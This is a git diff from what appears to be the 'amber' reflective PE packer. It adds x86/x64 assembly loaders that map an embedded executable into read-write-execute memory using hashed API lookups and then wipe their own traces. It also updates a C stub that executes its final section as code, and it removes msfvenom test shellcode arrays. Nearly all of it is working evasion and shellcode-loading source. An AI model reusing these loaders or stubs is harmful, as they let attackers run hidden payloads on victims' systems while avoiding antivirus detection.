||||||
|
wipe:
|
||||||
|
mov byte [rax],0 ; Wipe 1 byte at a time
|
||||||
|
dec rax ; Decraise RAX
|
||||||
|
loop wipe ; Loop until RCX = 0
|
||||||
|
%s
|
||||||
|
jmp r13 ; Call the AOE
|
||||||
|
|
||||||
|
`
|
||||||
@@ -0,0 +1,159 @@
|
|||||||
|
package amber
|
||||||
|
|
||||||
|
// LoaderX86 contains the 32 bit PE loader for relocatable PE files
|
||||||
|
const LoaderX86 = `
|
||||||
|
start:
|
||||||
|
cld ; Clear direction flags
|
||||||
|
pop esi ; Get the address of image to esi
|
||||||
|
call get_ip ; Push the current EIP to stack
|
||||||
|
get_ip:
|
||||||
|
sub [esp],esi ; Subtract &PE from EIP and get image_size
|
||||||
|
mov eax,[esi+0x3C] ; Get the offset of "PE" to eax
|
||||||
|
mov ebx,[eax+esi+0x34] ; Get the image base address to ebx
|
||||||
|
mov eax,[eax+esi+0x28] ; Get the address of entry point to eax
|
||||||
|
push eax ; Save the address of entry to stack
|
||||||
|
push 0x40 ; PAGE_EXECUTE_READ_WRITE
|
||||||
|
push 0x103000 ; MEM_COMMIT | MEM_TOP_DOWN | MEM_RESERVE
|
||||||
|
push dword [esp+0xC] ; dwSize
|
||||||
|
push 0 ; lpAddress
|
||||||
|
push 0x2C39DFEC ; crc32("KERNEL32.DLL", "VirtualAlloc")
|
||||||
|
call api_call ; VirtualAlloc(lpAddress,dwSize,MEM_COMMIT|MEM_TOP_DOWN|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
|
||||||
|
push eax ; Save the new image base to stack
|
||||||
|
xor edx,edx ; Zero out the edx
|
||||||
|
relocate:
|
||||||
|
mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
|
||||||
|
mov ecx,[eax+esi+0xA4] ; Base relocation table size
|
||||||
|
mov eax,[eax+esi+0xA0] ; Base relocation table RVA
|
||||||
|
add eax,esi ; Base relocation table memory address
|
||||||
|
add ecx,eax ; End of base relocation table
|
||||||
|
calc_delta:
|
||||||
|
mov edi,[esp] ; Move the new base address to EDI
|
||||||
|
sub edi,ebx ; Delta value
|
||||||
|
push dword [eax] ; Reloc RVA
|
||||||
|
push dword [eax+4] ; Reloc table size
|
||||||
|
add eax,8 ; Move to the reloc descriptor
|
||||||
|
jmp fix ; Start fixing
|
||||||
|
get_rva:
|
||||||
|
cmp ecx,eax ; Check if the end of the reloc section ?
|
||||||
|
jle reloc_fin ; If yes goto fin
|
||||||
|
add esp,8 ; Deallocate old reloc RVA and reloc table size variables
|
||||||
|
push dword [eax] ; Push new reloc RVA
|
||||||
|
push dword [eax+4] ; Push new reloc table size
|
||||||
|
add eax,8 ; Move 8 bytes
|
||||||
|
fix:
|
||||||
|
cmp word [esp],8 ; Check if the end of the reloc block
|
||||||
|
jz get_rva ; If yes set the next block RVA
|
||||||
|
mov dx,word [eax] ; Move the reloc desc to dx
|
||||||
|
cmp dx,0 ; Check if it is a padding word
|
||||||
|
je pass
|
||||||
|
and dx,0x0FFF ; Get the last 12 bits
|
||||||
|
add edx,[esp+4] ; Add block RVA to desc value
|
||||||
|
add edx,esi ; Add the start address of the image
|
||||||
|
add dword [edx],edi ; Add the delta value to calculated absolute address
|
||||||
|
pass:
|
||||||
|
sub dword [esp],2 ; Decrease the index
|
||||||
|
add eax,2 ; Move to the next reloc desc.
|
||||||
|
xor edx,edx ; Zero out edx
|
||||||
|
jmp fix ; Loop
|
||||||
|
reloc_fin:
|
||||||
|
pop eax ; Deallocate all vars
|
||||||
|
pop eax ; ...
|
||||||
|
mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE")
|
||||||
|
mov eax,[eax+esi+0x80] ; Import table RVA
|
||||||
|
add eax,esi ; Import table memory address (first image import descriptor)
|
||||||
|
push eax ; Save the address of import descriptor to stack
|
||||||
|
get_modules:
|
||||||
|
cmp dword [eax],0 ; Check if the import names table RVA is NULL
|
||||||
|
jz complete ; If yes building process is done
|
||||||
|
mov eax,[eax+0x0C] ; Get RVA of dll name to eax
|
||||||
|
add eax,esi ; Get the dll name address
|
||||||
|
call LoadLibraryA ; Load the library
|
||||||
|
mov ebx,eax ; Move the dll handle to ebx
|
||||||
|
mov eax,[esp] ; Move the address of current _IMPORT_DESCRIPTOR to eax
|
||||||
|
call get_procs ; Resolve all windows API function addresses
|
||||||
|
add dword [esp],0x14 ; Move to the next import descriptor
|
||||||
|
mov eax,[esp] ; Set the new import descriptor address to eax
|
||||||
|
jmp get_modules
|
||||||
|
get_procs:
|
||||||
|
push ecx ; Save ecx to stack
|
||||||
|
push dword [eax+0x10] ; Save the current import descriptor IAT RVA
|
||||||
|
add [esp],esi ; Get the IAT memory address
|
||||||
|
mov eax,[eax] ; Set the import names table RVA to eax
|
||||||
|
add eax,esi ; Get the current import descriptor's import names table address
|
||||||
|
push eax ; Save it to stack
|
||||||
|
resolve:
|
||||||
|
cmp dword [eax],0 ; Check if end of the import names table
|
||||||
|
jz all_resolved ; If yes resolving process is done
|
||||||
|
mov eax,[eax] ; Get the RVA of function hint to eax
|
||||||
|
cmp eax,0x80000000 ; Check if the high order bit is set
|
||||||
|
js name_resolve ; If high order bit is not set resolve with INT entry
|
||||||
|
sub eax,0x80000000 ; Zero out the high bit
|
||||||
|
call GetProcAddress ; Get the API address with hint
|
||||||
|
jmp insert_iat ; Insert the address of API tı IAT
|
||||||
|
name_resolve:
|
||||||
|
add eax,esi ; Set the address of function hint
|
||||||
|
add eax,2 ; Move to function name
|
||||||
|
call GetProcAddress ; Get the function address to eax
|
||||||
|
insert_iat:
|
||||||
|
mov ecx,[esp+4] ; Move the IAT address to ecx
|
||||||
|
mov [ecx],eax ; Insert the function address to IAT
|
||||||
|
add dword [esp],4 ; Increase the import names table index
|
||||||
|
add dword [esp+4],4 ; Increase the IAT index
|
||||||
|
mov eax,[esp] ; Set the address of import names table address to eax
|
||||||
|
jmp resolve ; Loop
|
||||||
|
all_resolved:
|
||||||
|
mov ecx,[esp+4] ; Move the IAT address to ecx
|
||||||
|
mov dword [ecx],0 ; Insert a NULL dword
|
||||||
|
pop ecx ; Deallocate index values
|
||||||
|
pop ecx ; ...
|
||||||
|
pop ecx ; Put back the ecx value
|
||||||
|
ret ; <-
|
||||||
|
LoadLibraryA:
|
||||||
|
push ecx ; Save ecx to stack
|
||||||
|
push edx ; Save edx to stack
|
||||||
|
push eax ; Push the address of linrary name string
|
||||||
|
push 0xE2E6A091 ; crc32( "kernel32.dll", "LoadLibraryA" )
|
||||||
|
call api_call ; LoadLibraryA([esp+4])
|
||||||
|
pop edx ; Retreive edx
|
||||||
|
pop ecx ; Retreive ecx
|
||||||
|
ret ; <-
|
||||||
|
GetProcAddress:
|
||||||
|
push ecx ; Save ecx to stack
|
||||||
|
push edx ; Save edx to stack
|
||||||
|
push eax ; Push the address of proc name string
|
||||||
|
push ebx ; Push the dll handle
|
||||||
|
push 0xA18B0B38 ; crc32( "kernel32.dll", "GetProcAddress" )
|
||||||
|
call api_call ; GetProcAddress(ebx,[esp+4])
|
||||||
|
pop edx ; Retrieve edx
|
||||||
|
pop ecx ; Retrieve ecx
|
||||||
|
ret ; <-
|
||||||
|
complete:
|
||||||
|
pop eax ; Clean out the stack
|
||||||
|
pop edi ; ..
|
||||||
|
mov edx,edi ; Copy the address of new base to EDX
|
||||||
|
pop eax ; Pop the address_of_entry to EAX
|
||||||
|
add edi,eax ; Add the address of entry to new image base
|
||||||
|
pop ecx ; Pop the image_size to ECX
|
||||||
|
memcpy:
|
||||||
|
mov al,[esi] ; Move 1 byte of PE image to AL register
|
||||||
|
mov [edx],al ; Move 1 byte of PE image to image base
|
||||||
|
mov byte [esi],0 ; Overwrite copied byte (for less memory footprint)
|
||||||
|
inc esi ; Increase PE image index
|
||||||
|
inc edx ; Increase image base index
|
||||||
|
loop memcpy ; Loop until ECX = 0
|
||||||
|
jmp PE_start ; Wipe artifacts from memory and start PE
|
||||||
|
%s
|
||||||
|
PE_start:
|
||||||
|
%s
|
||||||
|
mov ecx,wipe ; Get the number of bytes until wipe label
|
||||||
|
call wipe_start ; Call wipe_start
|
||||||
|
wipe_start:
|
||||||
|
pop eax ; Get EIP to EAX
|
||||||
|
wipe:
|
||||||
|
mov byte [eax],0 ; Wipe 1 byte at a time
|
||||||
|
dec eax ; Decraise EAX
|
||||||
|
loop wipe ; Loop until ECX = 0
|
||||||
|
call edi ; Call the AOE
|
||||||
|
|
||||||
|
|
||||||
|
`
|
||||||
File diff suppressed because one or more lines are too long
+4
-4
@@ -1,10 +1,10 @@
|
|||||||
normal:
|
normal:
|
||||||
i686-w64-mingw32-windres Resource.rc -o res32.o
|
i686-w64-mingw32-windres Resource.rc -o res.o
|
||||||
i686-w64-mingw32-g++-win32 -static-libgcc -static-libstdc++ -c stub32.c -o stub32.o
|
i686-w64-mingw32-g++-win32 -c stub.c -o stub.o
|
||||||
i686-w64-mingw32-g++-win32 -Wl,--subsystem,windows stub32.o res32.o -o stub32.exe
|
i686-w64-mingw32-g++-win32 -Wl,--subsystem,windows stub.o res.o -o stub32.exe
|
||||||
i686-w64-mingw32-strip stub32.exe
|
i686-w64-mingw32-strip stub32.exe
|
||||||
x86_64-w64-mingw32-windres Resource.rc -o res.o
|
x86_64-w64-mingw32-windres Resource.rc -o res.o
|
||||||
x86_64-w64-mingw32-g++-win32 -static-libgcc -static-libstdc++ -c stub.c -o stub.o
|
x86_64-w64-mingw32-g++-win32 -c stub.c -o stub.o
|
||||||
x86_64-w64-mingw32-g++-win32 -Wl,--subsystem,windows stub.o res.o -o stub.exe
|
x86_64-w64-mingw32-g++-win32 -Wl,--subsystem,windows stub.o res.o -o stub.exe
|
||||||
x86_64-w64-mingw32-strip stub.exe
|
x86_64-w64-mingw32-strip stub.exe
|
||||||
rm *.o
|
rm *.o
|
||||||
|
|||||||
Binary file not shown.
@@ -1,58 +0,0 @@
|
|||||||
__attribute__((section(".shlcode")))
|
|
||||||
|
|
||||||
#if defined _WIN64 || __MINGW64__
|
|
||||||
unsigned char shellcode[] = {
|
|
||||||
0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x00, 0x00,
|
|
||||||
0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
|
|
||||||
0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52, 0x18, 0x3e, 0x48, 0x8b,
|
|
||||||
0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0x0f, 0xb7, 0x4a,
|
|
||||||
0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02,
|
|
||||||
0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52,
|
|
||||||
0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x8b, 0x42, 0x3c, 0x48,
|
|
||||||
0x01, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0,
|
|
||||||
0x74, 0x6f, 0x48, 0x01, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44,
|
|
||||||
0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e,
|
|
||||||
0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31,
|
|
||||||
0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75,
|
|
||||||
0xf1, 0x3e, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd6,
|
|
||||||
0x58, 0x3e, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x3e, 0x41,
|
|
||||||
0x8b, 0x0c, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x3e,
|
|
||||||
0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
|
|
||||||
0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20,
|
|
||||||
0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12,
|
|
||||||
0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7, 0xc1, 0x00, 0x00, 0x00,
|
|
||||||
0x00, 0x3e, 0x48, 0x8d, 0x95, 0xfe, 0x00, 0x00, 0x00, 0x3e, 0x4c, 0x8d,
|
|
||||||
0x85, 0x0f, 0x01, 0x00, 0x00, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83,
|
|
||||||
0x56, 0x07, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2,
|
|
||||||
0x56, 0xff, 0xd5, 0x48, 0x65, 0x6c, 0x6c, 0x6f, 0x2c, 0x20, 0x66, 0x72,
|
|
||||||
0x6f, 0x6d, 0x20, 0x4d, 0x53, 0x46, 0x21, 0x00, 0x4d, 0x65, 0x73, 0x73,
|
|
||||||
0x61, 0x67, 0x65, 0x42, 0x6f, 0x78, 0x00
|
|
||||||
};
|
|
||||||
#else
|
|
||||||
unsigned char shellcode[] = {
|
|
||||||
0xd9, 0xeb, 0x9b, 0xd9, 0x74, 0x24, 0xf4, 0x31, 0xd2, 0xb2, 0x77, 0x31,
|
|
||||||
0xc9, 0x64, 0x8b, 0x71, 0x30, 0x8b, 0x76, 0x0c, 0x8b, 0x76, 0x1c, 0x8b,
|
|
||||||
0x46, 0x08, 0x8b, 0x7e, 0x20, 0x8b, 0x36, 0x38, 0x4f, 0x18, 0x75, 0xf3,
|
|
||||||
0x59, 0x01, 0xd1, 0xff, 0xe1, 0x60, 0x8b, 0x6c, 0x24, 0x24, 0x8b, 0x45,
|
|
||||||
0x3c, 0x8b, 0x54, 0x28, 0x78, 0x01, 0xea, 0x8b, 0x4a, 0x18, 0x8b, 0x5a,
|
|
||||||
0x20, 0x01, 0xeb, 0xe3, 0x34, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xee, 0x31,
|
|
||||||
0xff, 0x31, 0xc0, 0xfc, 0xac, 0x84, 0xc0, 0x74, 0x07, 0xc1, 0xcf, 0x0d,
|
|
||||||
0x01, 0xc7, 0xeb, 0xf4, 0x3b, 0x7c, 0x24, 0x28, 0x75, 0xe1, 0x8b, 0x5a,
|
|
||||||
0x24, 0x01, 0xeb, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x5a, 0x1c, 0x01, 0xeb,
|
|
||||||
0x8b, 0x04, 0x8b, 0x01, 0xe8, 0x89, 0x44, 0x24, 0x1c, 0x61, 0xc3, 0xb2,
|
|
||||||
0x08, 0x29, 0xd4, 0x89, 0xe5, 0x89, 0xc2, 0x68, 0x8e, 0x4e, 0x0e, 0xec,
|
|
||||||
0x52, 0xe8, 0x9f, 0xff, 0xff, 0xff, 0x89, 0x45, 0x04, 0xbb, 0x7e, 0xd8,
|
|
||||||
0xe2, 0x73, 0x87, 0x1c, 0x24, 0x52, 0xe8, 0x8e, 0xff, 0xff, 0xff, 0x89,
|
|
||||||
0x45, 0x08, 0x68, 0x6c, 0x6c, 0x20, 0x41, 0x68, 0x33, 0x32, 0x2e, 0x64,
|
|
||||||
0x68, 0x75, 0x73, 0x65, 0x72, 0x30, 0xdb, 0x88, 0x5c, 0x24, 0x0a, 0x89,
|
|
||||||
0xe6, 0x56, 0xff, 0x55, 0x04, 0x89, 0xc2, 0x50, 0xbb, 0xa8, 0xa2, 0x4d,
|
|
||||||
0xbc, 0x87, 0x1c, 0x24, 0x52, 0xe8, 0x5f, 0xff, 0xff, 0xff, 0x68, 0x6f,
|
|
||||||
0x78, 0x58, 0x20, 0x68, 0x61, 0x67, 0x65, 0x42, 0x68, 0x4d, 0x65, 0x73,
|
|
||||||
0x73, 0x31, 0xdb, 0x88, 0x5c, 0x24, 0x0a, 0x89, 0xe3, 0x68, 0x58, 0x20,
|
|
||||||
0x20, 0x20, 0x68, 0x4d, 0x53, 0x46, 0x21, 0x68, 0x72, 0x6f, 0x6d, 0x20,
|
|
||||||
0x68, 0x6f, 0x2c, 0x20, 0x66, 0x68, 0x48, 0x65, 0x6c, 0x6c, 0x31, 0xc9,
|
|
||||||
0x88, 0x4c, 0x24, 0x10, 0x89, 0xe1, 0x31, 0xd2, 0x52, 0x53, 0x51, 0x52,
|
|
||||||
0xff, 0xd0, 0x31, 0xc0, 0x50, 0xff, 0x55, 0x08
|
|
||||||
};
|
|
||||||
#endif
|
|
||||||
|
|
||||||
@@ -1,2 +0,0 @@
|
|||||||
Ùë›Ùt$ô1Ò²w1Éd‹q0‹v‹v‹F‹~ ‹68OuóYÑÿá`‹l$$‹E<‹T(xê‹J‹Z ëã4I‹4‹î1ÿ1Àü¬„ÀtÁÏ
|
|
||||||
Çëô;|$(uá‹Z$ëf‹K‹Zë‹‹è‰D$aò)Ô‰å‰ÂhŽNìRèŸÿÿÿ‰E»~Øâs‡$RèŽÿÿÿ‰Ehll Ah32.dhuser0Ûˆ\$
|
|
||||||
+17
-18
@@ -3,38 +3,37 @@
|
|||||||
int main(int argc, char const *argv[])
|
int main(int argc, char const *argv[])
|
||||||
{
|
{
|
||||||
|
|
||||||
LoadLibrary("USER32.dll");
|
// Just for the imports
|
||||||
PIMAGE_DOS_HEADER dosHeader = {};
|
HMODULE k32 = LoadLibrary("USER32.dll");
|
||||||
PIMAGE_SECTION_HEADER sectionHeader = {};
|
GetProcAddress(k32, "VirtualAlloc");
|
||||||
PIMAGE_NT_HEADERS64 imageNTHeaders = {};
|
|
||||||
|
|
||||||
|
// Get module handle
|
||||||
LPVOID moduleHandle = GetModuleHandle(NULL);
|
LPVOID moduleHandle = GetModuleHandle(NULL);
|
||||||
if (moduleHandle == NULL)
|
if (moduleHandle == NULL)
|
||||||
{
|
|
||||||
return 1;
|
return 1;
|
||||||
}
|
|
||||||
|
|
||||||
|
PIMAGE_DOS_HEADER dosHeader = {};
|
||||||
|
PIMAGE_SECTION_HEADER sectionHeader = {};
|
||||||
dosHeader = (PIMAGE_DOS_HEADER)moduleHandle;
|
dosHeader = (PIMAGE_DOS_HEADER)moduleHandle;
|
||||||
|
|
||||||
|
#if defined(__MINGW64__) || defined(_WIN64)
|
||||||
|
PIMAGE_NT_HEADERS64 imageNTHeaders = {};
|
||||||
imageNTHeaders = (PIMAGE_NT_HEADERS64)(moduleHandle + dosHeader->e_lfanew);
|
imageNTHeaders = (PIMAGE_NT_HEADERS64)(moduleHandle + dosHeader->e_lfanew);
|
||||||
__int64 sectionLocation = (__int64)((__int64)(&imageNTHeaders->OptionalHeader) + (WORD)imageNTHeaders->FileHeader.SizeOfOptionalHeader);
|
__int64 sectionLocation = (__int64)((__int64)(&imageNTHeaders->OptionalHeader) + (WORD)imageNTHeaders->FileHeader.SizeOfOptionalHeader);
|
||||||
DWORD sectionSize = (DWORD)sizeof(IMAGE_SECTION_HEADER);
|
FlushInstructionCache(moduleHandle, NULL, NULL);
|
||||||
|
#else
|
||||||
|
PIMAGE_NT_HEADERS imageNTHeaders = {};
|
||||||
|
imageNTHeaders = (PIMAGE_NT_HEADERS)((DWORD)moduleHandle + dosHeader->e_lfanew);
|
||||||
|
DWORD sectionLocation = (DWORD) & (imageNTHeaders->OptionalHeader) + (WORD)imageNTHeaders->FileHeader.SizeOfOptionalHeader;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
DWORD sectionSize = (DWORD)sizeof(IMAGE_SECTION_HEADER);
|
||||||
for (int i = 0; i < imageNTHeaders->FileHeader.NumberOfSections; i++)
|
for (int i = 0; i < imageNTHeaders->FileHeader.NumberOfSections; i++)
|
||||||
{
|
{
|
||||||
sectionHeader = (PIMAGE_SECTION_HEADER)sectionLocation;
|
sectionHeader = (PIMAGE_SECTION_HEADER)sectionLocation;
|
||||||
// printf("[#] %s\n", sectionHeader->Name);
|
|
||||||
// printf("-> 0x%x Virtual Size\n", sectionHeader->Misc.VirtualSize);
|
|
||||||
// printf("-> 0x%x Virtual Address\n", sectionHeader->VirtualAddress);
|
|
||||||
// printf("-> 0x%x Size Of Raw Data\n", sectionHeader->SizeOfRawData);
|
|
||||||
// printf("-> 0x%x Pointer To Raw Data\n", sectionHeader->PointerToRawData);
|
|
||||||
// printf("-> 0x%x Pointer To Relocations\n", sectionHeader->PointerToRelocations);
|
|
||||||
// printf("-> 0x%x Pointer To Line Numbers\n", sectionHeader->PointerToLinenumbers);
|
|
||||||
// printf("-> 0x%x Number Of Relocations\n", sectionHeader->NumberOfRelocations);
|
|
||||||
// printf("-> 0x%x Number Of Line Numbers\n", sectionHeader->NumberOfLinenumbers);
|
|
||||||
// printf("-> 0x%x Characteristics\n", sectionHeader->Characteristics);
|
|
||||||
sectionLocation += sectionSize;
|
sectionLocation += sectionSize;
|
||||||
}
|
}
|
||||||
|
// Execute last section data
|
||||||
unsigned char *buffer = (unsigned char *)VirtualAlloc(NULL, sectionHeader->SizeOfRawData, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
unsigned char *buffer = (unsigned char *)VirtualAlloc(NULL, sectionHeader->SizeOfRawData, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||||
memcpy((void *)buffer, (void *)(sectionHeader->VirtualAddress + imageNTHeaders->OptionalHeader.ImageBase), sectionHeader->SizeOfRawData);
|
memcpy((void *)buffer, (void *)(sectionHeader->VirtualAddress + imageNTHeaders->OptionalHeader.ImageBase), sectionHeader->SizeOfRawData);
|
||||||
(*(void (*)())buffer)();
|
(*(void (*)())buffer)();
|
||||||
|
|||||||
@@ -1,39 +0,0 @@
|
|||||||
#include <windows.h>
|
|
||||||
|
|
||||||
int main(int argc, char const *argv[])
|
|
||||||
{
|
|
||||||
PIMAGE_DOS_HEADER dosHeader = {};
|
|
||||||
PIMAGE_SECTION_HEADER sectionHeader = {};
|
|
||||||
PIMAGE_NT_HEADERS imageNTHeaders = {};
|
|
||||||
|
|
||||||
LPVOID moduleHandle = GetModuleHandle(NULL);
|
|
||||||
if (moduleHandle == NULL)
|
|
||||||
return 1;
|
|
||||||
|
|
||||||
dosHeader = (PIMAGE_DOS_HEADER)moduleHandle;
|
|
||||||
imageNTHeaders = (PIMAGE_NT_HEADERS)((DWORD)moduleHandle + dosHeader->e_lfanew);
|
|
||||||
DWORD sectionLocation = (DWORD) & (imageNTHeaders->OptionalHeader) + (WORD)imageNTHeaders->FileHeader.SizeOfOptionalHeader;
|
|
||||||
DWORD sectionSize = (DWORD)sizeof(IMAGE_SECTION_HEADER);
|
|
||||||
|
|
||||||
for (int i = 0; i < imageNTHeaders->FileHeader.NumberOfSections; i++)
|
|
||||||
{
|
|
||||||
sectionHeader = (PIMAGE_SECTION_HEADER)sectionLocation;
|
|
||||||
// printf("[#] %s\n", sectionHeader->Name);
|
|
||||||
// printf("-> 0x%x Virtual Size\n", sectionHeader->Misc.VirtualSize);
|
|
||||||
// printf("-> 0x%x Virtual Address\n", sectionHeader->VirtualAddress);
|
|
||||||
// printf("-> 0x%x Size Of Raw Data\n", sectionHeader->SizeOfRawData);
|
|
||||||
// printf("-> 0x%x Pointer To Raw Data\n", sectionHeader->PointerToRawData);
|
|
||||||
// printf("-> 0x%x Pointer To Relocations\n", sectionHeader->PointerToRelocations);
|
|
||||||
// printf("-> 0x%x Pointer To Line Numbers\n", sectionHeader->PointerToLinenumbers);
|
|
||||||
// printf("-> 0x%x Number Of Relocations\n", sectionHeader->NumberOfRelocations);
|
|
||||||
// printf("-> 0x%x Number Of Line Numbers\n", sectionHeader->NumberOfLinenumbers);
|
|
||||||
// printf("-> 0x%x Characteristics\n", sectionHeader->Characteristics);
|
|
||||||
sectionLocation += sectionSize;
|
|
||||||
}
|
|
||||||
|
|
||||||
unsigned char *buffer = (unsigned char *)VirtualAlloc(NULL, sectionHeader->SizeOfRawData, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
|
||||||
memcpy((void *)buffer, (void *)(sectionHeader->VirtualAddress + imageNTHeaders->OptionalHeader.ImageBase), sectionHeader->SizeOfRawData);
|
|
||||||
(*(void (*)())buffer)();
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
Reference in New Issue
Block a user